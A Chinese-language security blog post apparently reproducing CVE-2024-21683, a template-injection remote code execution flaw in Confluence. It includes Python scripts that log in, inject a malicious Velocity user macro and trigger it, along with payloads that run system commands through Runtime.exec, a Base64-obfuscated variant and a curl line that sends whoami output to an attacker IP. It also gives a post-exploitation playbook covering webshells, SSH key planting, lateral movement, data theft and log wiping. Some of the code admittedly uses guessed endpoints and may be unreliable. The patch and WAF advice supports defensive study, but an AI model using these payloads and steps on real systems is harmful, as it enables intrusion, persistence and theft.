CVE-2024-21683漏洞复现:Confluence模板注入RCE原理与实战

发布时间:2026/7/4 13:02:01
CVE-2024-21683漏洞复现:Confluence模板注入RCE原理与实战 1. 项目概述与漏洞背景最近在梳理企业资产安全时又遇到了一个老朋友——Atlassian Confluence。作为企业内部知识管理和团队协作的“中枢神经”Confluence一旦出问题影响面往往非常广。这次要复现和分析的CVE-2024-21683就是一个典型的Confluence高危远程代码执行漏洞。官方给出的CVSS 3.1评分高达8.3属于高危级别而且需要身份认证才能利用这听起来似乎门槛不低但在实际的企业内网环境中获取一个普通用户权限往往比想象中容易得多。这个漏洞的核心在于经过身份验证的攻击者能够通过构造特定的HTTP请求在Confluence服务器上执行任意系统命令。想象一下攻击者从一个普通的wiki编辑页面通过某种方式“跳”出去直接操控了底层的服务器可以读取敏感文件、植入后门、横向移动这对企业的数据机密性、系统完整性和服务可用性都是致命的威胁。根据公开的资产测绘数据全球有超过128万台Confluence实例暴露在互联网上国内也有超过81万的风险资产这个漏洞的影响范围绝对不容小觑。我搭建测试环境复现这个漏洞不仅是为了理解其原理更是为了能更有效地检测和防御此类风险搞清楚攻击者究竟是如何一步步得手的。2. 漏洞原理深度剖析2.1 漏洞成因与触发点CVE-2024-21683本质上是一个服务端模板注入导致的远程代码执行漏洞。要理解它我们得先看看Confluence里一个叫“用户宏”的功能。用户宏允许有权限的用户通常是空间管理员创建自定义的宏这些宏可以用Velocity模板语言来编写用于在页面中动态生成内容。Velocity是Apache的一个Java模板引擎功能强大但危险性也高因为它能执行Java代码。漏洞的根源在于Confluence对用户宏的编辑和保存接口存在缺陷。在正常的流程中用户提交的宏内容应该被严格过滤和沙箱化处理防止执行危险操作。然而在受影响版本的Confluence中攻击者可以通过构造一个特殊的HTTP请求绕过某些安全检查将包含恶意Velocity代码的宏内容保存到服务器上。当这个宏被其他页面调用或预览时内嵌的Velocity代码就会被服务器端的模板引擎解析并执行。关键在于Velocity模板的语法。它允许直接调用Java对象的属性和方法。攻击者可以构造如$class.inspect(“java.lang.Runtime”).type.getRuntime().exec(“touch /tmp/pwned”)这样的模板代码。一旦这段代码被成功保存并执行Runtime.getRuntime().exec()就会被调用从而在服务器上以Confluence进程的权限通常是运行Tomcat的用户如confluence执行任意系统命令。这就不再是简单的页面内容篡改了而是直接获得了服务器的命令执行能力。2.2 影响版本与前置条件根据Atlassian官方的安全公告这个漏洞影响的范围非常广泛Confluence Data Center Server 8.5.x 至 8.5.8 LTSConfluence Data Center Server 8.0.x 至 8.4.x的多个版本Confluence Data Center Server 7.17.x 至 7.19.x LTS的多个版本简单来说从7.17.0到8.5.8 LTS之间的大量版本都受到影响除非已经升级到修复版本如8.5.9 LTS, 7.19.22 LTS或8.9.1。这几乎涵盖了近几年部署的大部分Confluence实例。利用这个漏洞有一个关键的前置条件需要拥有一个经过认证的Confluence用户账号并且该账号拥有创建或编辑“用户宏”的权限。通常空间管理员Space Administrator角色就具备这个权限。在企业内部普通员工为了协作需要拥有某个空间管理员权限的情况并不少见。此外如果Confluence的默认配置不够严格或者通过其他漏洞如弱口令、信息泄露获得了高权限账号攻击者就能满足这个条件。注意不要以为漏洞需要认证就掉以轻心。在红队评估或真实攻击中攻击链往往是组合拳。可能先通过一个钓鱼邮件获取员工凭据再利用此漏洞实现权限升级和代码执行。内网渗透中此类漏洞是横向移动的绝佳跳板。3. 漏洞复现环境搭建3.1 靶机环境准备为了安全、可控地复现漏洞我选择在本地虚拟机中搭建靶场。我使用了一台配置了4核CPU、8GB内存的Ubuntu 22.04 LTS虚拟机。第一步安装Docker环境Docker能帮助我们快速部署指定版本的Confluence并且环境隔离方便清理。sudo apt update sudo apt install -y docker.io docker-compose sudo systemctl start docker sudo systemctl enable docker第二步部署漏洞版本Confluence我选择部署一个受影响的中等版本例如8.4.5。Atlassian官方提供了Docker镜像但直接运行需要复杂的数据库配置。更简单的方法是使用现成的、包含内嵌数据库如PostgreSQL的Docker Compose方案。我在GitHub上找到了一个维护良好的项目它简化了部署流程。首先创建一个工作目录并编写docker-compose.yml文件version: 3 services: confluence: image: atlassian/confluence-server:8.4.5 container_name: confluence_cve_2024_21683 environment: - ATLASSIAN_LICENSE‘demo‘ # 仅用于测试生产环境需购买 - SETUP_PERFORMEDtrue # 跳过初始设置需配合已初始化的数据库 ports: - “8090:8090“ - “8091:8091“ volumes: - ./confluence-data:/var/atlassian/application-data/confluence networks: - confluence-net restart: unless-stopped postgres: image: postgres:13-alpine container_name: confluence_db environment: - POSTGRES_USERconfluenceuser - POSTGRES_PASSWORDyour_strong_password_here - POSTGRES_DBconfluence volumes: - ./postgres-data:/var/lib/postgresql/data networks: - confluence-net restart: unless-stopped networks: confluence-net: driver: bridge实操心得直接使用atlassian/confluence-server:8.4.5镜像启动后会进入漫长的安装向导需要手动配置数据库连接过程繁琐。上述配置中SETUP_PERFORMEDtrue是为了配合一个“预烘焙”的快速启动方案。更高效的做法是先使用一个包含了已完成初始化的数据卷的快速启动包。网络上有些安全研究社区提供了这样的“漏洞靶场”镜像或数据包可以极大节省时间。但务必从可信来源获取避免引入恶意后门。第三步初始化与访问由于完整的Confluence初始化非常耗时我采用了另一种更快捷的方式直接使用他人构建好的、包含漏洞环境和示例数据的Docker镜像。运行命令如下docker run -d -p 8090:8090 --name vuln-confluence vulnerables/cve-2024-21683等待几分钟后在浏览器访问http://your_vm_ip:8090。如果看到Confluence登录页面说明环境启动成功。通常这类靶场镜像会预设一个管理员账号例如admin/admin。3.2 攻击机环境与工具配置我的攻击机是一台Kali Linux虚拟机主要需要用到Burp Suite和自定义的Python脚本。Burp Suite配置Burp是拦截、重放和修改HTTP请求的核心工具。我需要配置代理让浏览器流量经过Burp以便捕获登录和操作Confluence的请求。在Burp的Proxy - Options中确保代理监听在如8080端口并在浏览器中设置相应的代理。Python脚本准备虽然可以手动在Burp中构造请求但编写一个Python脚本能让复现过程更清晰、可重复。脚本需要实现以下功能使用有效的凭据登录Confluence获取会话Cookie。利用获取的会话向创建或编辑用户宏的特定端点发送恶意请求。请求中包含精心构造的Velocity模板Payload用于执行命令。可选地触发宏执行或验证命令执行结果。我会使用requests库来处理HTTP会话。一个简单的脚本框架如下import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_URL “http://192.168.1.100:8090“ USERNAME “admin“ PASSWORD “admin“ PROXY {“http“: “http://127.0.0.1:8080“, “https“: “http://127.0.0.1:8080“} # 方便Burp查看流量 session requests.Session() session.proxies.update(PROXY) session.verify False # 忽略SSL证书错误用于测试 def login(): login_url f“{TARGET_URL}/dologin.action“ login_data { “os_username“: USERNAME, “os_password“: PASSWORD, “login“: “登录“, “os_destination“: ““ } resp session.post(login_url, datalogin_data) if resp.status_code 200 and “登录失败“ not in resp.text: print(“[] 登录成功“) return True else: print(“[-] 登录失败“) return False if __name__ “__main__“: if not login(): sys.exit(1) # 后续添加漏洞利用代码4. 漏洞利用过程详细拆解4.1 信息收集与权限确认在开始攻击之前我们需要确认目标Confluence的版本和当前用户的权限。版本确认访问http://target:port/login.action在页面底部通常会有类似“Confluence 8.4.5”的版本信息。也可以通过发送一个请求到/rest/applinks/1.0/manifest等接口从响应头或JSON数据中获取版本号。权限确认登录后我们需要确认当前账号是否有管理用户宏的权限。最直接的方法是尝试访问用户宏管理页面。在Confluence中通常的路径是http://target:port/admin/users/macros.action。如果能够访问并看到“创建用户宏”或“编辑用户宏”的选项则说明具备利用漏洞的必要权限。另一种方法是直接尝试触发漏洞利用的请求。如果权限不足服务器会返回403 Forbidden错误。在复现时我们直接使用预设的管理员账号跳过了权限提升的步骤但在真实评估中这往往是需要攻克的第一道关卡。4.2 恶意用户宏的构造与注入这是漏洞利用最核心的一步。我们需要向Confluence提交一个包含恶意Velocity代码的用户宏。找到正确的端点通过分析Confluence的流量或源代码可以找到处理用户宏创建/更新的后端接口。一个常见的端点可能是/rest/prototype/1/macro或类似/admin/users/editmacro.action的路径。具体端点可能因版本略有差异需要通过抓包或参考公开的漏洞详情来确定。构造恶意PayloadVelocity模板允许我们调用静态方法。一个用于测试命令执行的基本Payload如下#set($rt $class.inspect(“java.lang.Runtime“).type) #set($chr $class.inspect(“java.lang.Character“).type) #set($str $class.inspect(“java.lang.String“).type) #set($ex $rt.getRuntime().exec(“id“)) $ex.waitFor() #set($out $ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end这段代码做了以下几件事获取java.lang.Runtime和java.lang.Character的类引用。执行系统命令id。等待命令执行完成并读取其输出流。循环遍历输出流的每个字节将其转换为字符并拼接起来最终会将命令执行结果当前用户的uid和gid信息输出到宏的渲染结果中。组装HTTP请求我们需要向目标端点发送一个POST请求。请求体通常是一个表单数据或JSON其中包含宏的名称、描述、模板内容等字段。关键的字段就是存放上述Velocity代码的“模板内容”字段。例如字段名可能是macroBody或template。使用Python脚本发送请求的示例代码片段def exploit_rce(cmd): # 假设找到的端点是 /rest/prototype/1/macro exploit_url f“{TARGET_URL}/rest/prototype/1/macro“ # 构造Velocity Payload将命令替换为变量 velocity_template f“““ #set($rt $class.inspect(“java.lang.Runtime“).type) #set($chr $class.inspect(“java.lang.Character“).type) #set($str $class.inspect(“java.lang.String“).type) #set($ex $rt.getRuntime().exec(“{cmd}“)) $ex.waitFor() #set($out $ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end “““ macro_data { “name“: “MaliciousMacro-Exploit“, “macroName“: “malicious“, “description“: “A seemingly harmless macro“, “category“: “confluence-content“, “macroBody“: velocity_template, # 关键字段注入恶意模板 “templateType“: “plain“ } headers { “Content-Type“: “application/json“, “X-Atlassian-Token“: “no-check“ # 有时需要绕过CSRF token检查 } resp session.post(exploit_url, jsonmacro_data, headersheaders) print(f“[] 注入请求已发送状态码{resp.status_code}“) print(resp.text[:500]) # 打印部分响应用于调试 # 从响应中提取宏的ID用于后续触发 # 实际响应可能是JSON需要解析注意事项实际请求的参数名、端点路径、需要的Header如CSRF Token可能因Confluence的具体版本和配置而异。最可靠的方法是在Burp Suite中手动操作一遍“创建用户宏”的流程捕获真实的请求包然后模仿其结构和参数进行自动化利用。直接硬编码参数很可能失败。4.3 触发执行与结果验证成功注入恶意宏后它可能不会立即执行。我们需要一种方式来触发这个Velocity模板的解析和执行。触发方式创建或编辑页面时使用该宏在Confluence编辑器中插入我们刚刚创建的恶意宏。保存或预览页面时宏会被渲染其中的Velocity代码随之执行。直接调用宏的渲染接口Confluence可能提供了直接渲染宏的REST接口例如/rest/api/macro/1/render。我们可以向这个接口发送POST请求指定宏的ID或名称来触发其执行。访问宏的管理预览页面有时在用户宏的管理界面点击“预览”或“编辑”时模板内容会被解析。在Python脚本中我们可以接着上一步获取到创建的宏ID然后调用渲染接口# 假设从创建宏的响应中解析出宏ID为 ‘12345‘ macro_id “12345“ trigger_url f“{TARGET_URL}/rest/api/macro/1/render“ trigger_data { “macroId“: macro_id, “spaceKey“: “~admin“, # 空间键通常用户主页空间是 ‘~username‘ “pageTitle“: “Test Page“, “outputType“: “view“ } resp session.post(trigger_url, jsontrigger_data, headersheaders) print(f“[] 触发宏执行状态码{resp.status_code}“) # 如果Payload中的命令是 ‘id‘并且执行成功响应中可能会包含 ‘uid...‘ 等字样 if “uid“ in resp.text: print(“[] 命令执行成功响应中包含命令输出“) # 这里可以编写更精细的解析逻辑来提取纯净的命令输出 print(resp.text)结果验证如果漏洞利用成功我们会在HTTP响应中看到命令id的执行结果。为了更直观地验证我们可以尝试执行一个能产生外部交互的命令例如curl http://your_attack_ip:8080/$(whoami)将当前用户名通过HTTP请求发送到攻击机在攻击机的NC监听端口能看到。ping -c 1 your_attack_ip如果服务器出网攻击机用tcpdump抓包能看到ICMP请求。touch /tmp/success_$(date %s)在服务器临时目录创建一个文件然后通过其他方式如目录遍历漏洞验证文件是否存在。在实际的渗透测试中获得命令执行能力后下一步通常是建立更稳定的反向Shell以便进行后续的权限维持、内网探测和横向移动。5. 漏洞修复与安全加固建议5.1 官方补丁升级Atlassian官方已经发布了修复此漏洞的版本。这是最根本、最推荐的解决方案。修复版本Confluence Data Center Server: 升级至8.9.1或更高版本。Confluence Data Center Server 8.5.x LTS: 升级至8.5.9 LTS或更高版本。Confluence Data Center Server 7.19.x LTS: 升级至7.19.22 LTS或更高版本。升级步骤备份在进行任何升级前务必对Confluence的安装目录、数据目录confluence-home以及数据库进行完整备份。这是升级操作的铁律。查阅官方升级指南访问Atlassian官方文档找到从你当前版本升级到目标版本的详细指南。不同大版本之间的升级如7.x到8.x可能有特殊步骤和兼容性要求。测试环境验证强烈建议先在隔离的测试环境中进行升级演练验证业务功能是否正常确保升级过程平滑。生产环境实施规划维护窗口在生产环境执行升级。按照指南停止服务、备份、替换文件、运行升级工具、启动服务、验证。验证修复升级后可以尝试使用之前的漏洞利用脚本或POC进行验证确保攻击请求不再生效返回错误或已被过滤。5.2 临时缓解措施如果因为某些原因无法立即升级如业务依赖、定制化插件兼容性问题可以考虑以下临时缓解措施但这不能替代最终升级。限制用户宏创建权限严格审查并收紧拥有“创建用户宏”或“空间管理员”权限的用户名单。遵循最小权限原则只授予绝对必要的用户。网络层访问控制防火墙策略如果Confluence仅需内部访问确保防火墙规则只允许来自可信内网IP段的流量访问其服务端口默认8090/8091。反向代理/WAF在Confluence前端部署Web应用防火墙或配置了严格规则的反向代理如Nginx ModSecurity。可以配置规则来拦截包含可疑Velocity模板语法如$class.inspect,getRuntime().exec的请求。例如在Nginx中可以使用$request_body变量进行正则匹配并拒绝请求。入侵检测/防御系统在网络边界或主机层部署IDS/IPS更新规则库以检测针对CVE-2024-21683的攻击流量特征。应用层加固定期审计用户宏管理员应定期检查Confluence中已存在的用户宏审查其模板内容删除任何不明确或可疑的宏。禁用不必要的插件/功能如果业务用不到用户宏功能是否可以完全禁用它这需要评估业务需求。禁用相关插件或模块可以从根源上消除风险。强化认证启用双因素认证强制使用强密码策略定期更换密码降低凭据泄露导致攻击者获得利用漏洞所需权限的风险。5.3 安全运维长效机制一次漏洞修复不能一劳永逸。建立长效的安全机制至关重要。漏洞情报订阅关注Atlassian官方安全公告、国家漏洞库以及各大安全厂商如奇安信、绿盟、启明等的安全通告及时获取Confluence及相关组件的漏洞信息。资产梳理与版本管理建立完善的软件资产清单清晰记录所有Confluence实例的版本号、部署位置、负责人。制定并执行定期的补丁更新计划。持续安全监控对Confluence的访问日志、系统日志进行集中收集和监控。设置告警规则例如检测短时间内大量失败的登录尝试爆破、检测对用户宏管理接口的异常访问、检测服务器上异常进程的启动等。定期安全评估定期对Confluence系统进行授权渗透测试或漏洞扫描主动发现潜在的安全风险而不仅仅是依赖官方的补丁。6. 拓展思考与防御对抗6.1 漏洞利用的变种与检测绕过公开的POC往往使用最直接的Payload。在真实的攻防对抗中攻击者会尝试各种手段来绕过检测。字符串混淆将Runtime、exec等关键词进行编码如Base64、Hex、拼接、反转在Velocity模板中动态解码还原。#set($cmd “aWQ“)(Base64编码的”id”)#set($decodedCmd $class.inspect(“java.util.Base64“).type.getDecoder().decode($cmd))然后使用$decodedCmd作为命令参数。反射调用避免直接使用Runtime.getRuntime()转而使用更隐蔽的反射API来获取Runtime实例并执行命令。利用其他危险类除了Runtime.exec()Java中能执行命令或代码的类还有很多如ProcessBuilder、GroovyShell、通过JNI调用本地库等。防御规则需要覆盖更广的攻击面。无回显命令执行上述POC是回显型的。攻击者可能执行无回显命令如写入Webshell、下载并执行木马、建立反向Shell等。此时需要依赖网络流量监控或主机行为监控来发现异常。防御方应对WAF或IDS规则不能只依赖简单的关键字匹配。需要结合语义分析、行为建模。例如检测Velocity模板中是否出现了Class.forName、getMethod、invoke等反射特征或者检测到模板渲染后产生了对系统敏感路径的访问、建立了异常的网络连接等。6.2 从漏洞复现到实战渗透的衔接在内部红队评估或真实的攻防演练中拿到一个像CVE-2024-21683这样的漏洞后如何将其转化为实际的战果信息收集与入口获取首先还是需要找到目标。使用FOFA、Shodan等网络空间测绘引擎搜索app“Atlassian Confluence“且版本在受影响范围内的资产。然后尝试获取有效凭据弱口令爆破注意法律和授权、从其他已攻破系统获取密码本、钓鱼攻击、利用Confluence其他未授权信息泄露漏洞如某些旧版本的用户枚举漏洞等。权限维持通过漏洞获得命令执行能力后不能只满足于执行一个whoami。需要建立持久化后门。例如写入Webshell利用命令执行能力向Confluence的Web目录如confluence-install/confluence/下的某个可访问路径写入一个JSP或Velocity格式的Webshell提供图形化操作界面。创建计划任务/Cron在Linux服务器上添加定时任务定期连接C2服务器。添加SSH密钥如果当前用户有写~/.ssh/authorized_keys的权限直接写入攻击者的公钥获得SSH免密登录。内存马注入对于Java应用可以注入内存Webshell如通过Java Agent或利用特定框架的漏洞这种后门更难被传统的文件扫描发现。内网横向移动以Confluence服务器为跳板进行内网探测。收集本机信息网络配置、用户、进程、扫描内网存活主机和开放端口、尝试利用其他系统漏洞如MS17-010、永恒之蓝、进行密码喷洒或哈希传递攻击如果Confluence服务器上存有域用户凭据。数据窃取与清理痕迹定位Confluence的数据库连接配置可能直接导出数据库中的全部文档、用户信息。在完成任务后需要清理访问日志、命令历史、上传的临时文件等尽可能抹除入侵痕迹。整个复现过程下来CVE-2024-21683再次印证了一个道理功能强大的组件往往伴随着复杂的攻击面。作为防御方绝不能抱有“需要认证就安全”的侥幸心理。最小权限原则、及时更新补丁、纵深防御体系、持续监控响应这些安全基线的每一条都需要扎扎实实地落地。而对于安全研究人员和渗透测试人员而言深入理解漏洞原理亲手搭建环境复现再思考如何检测和防御是提升实战能力最有效的路径。这个漏洞的利用链清晰非常适合作为内部攻防演练的经典案例用来检验企业安全防护的检测和响应能力。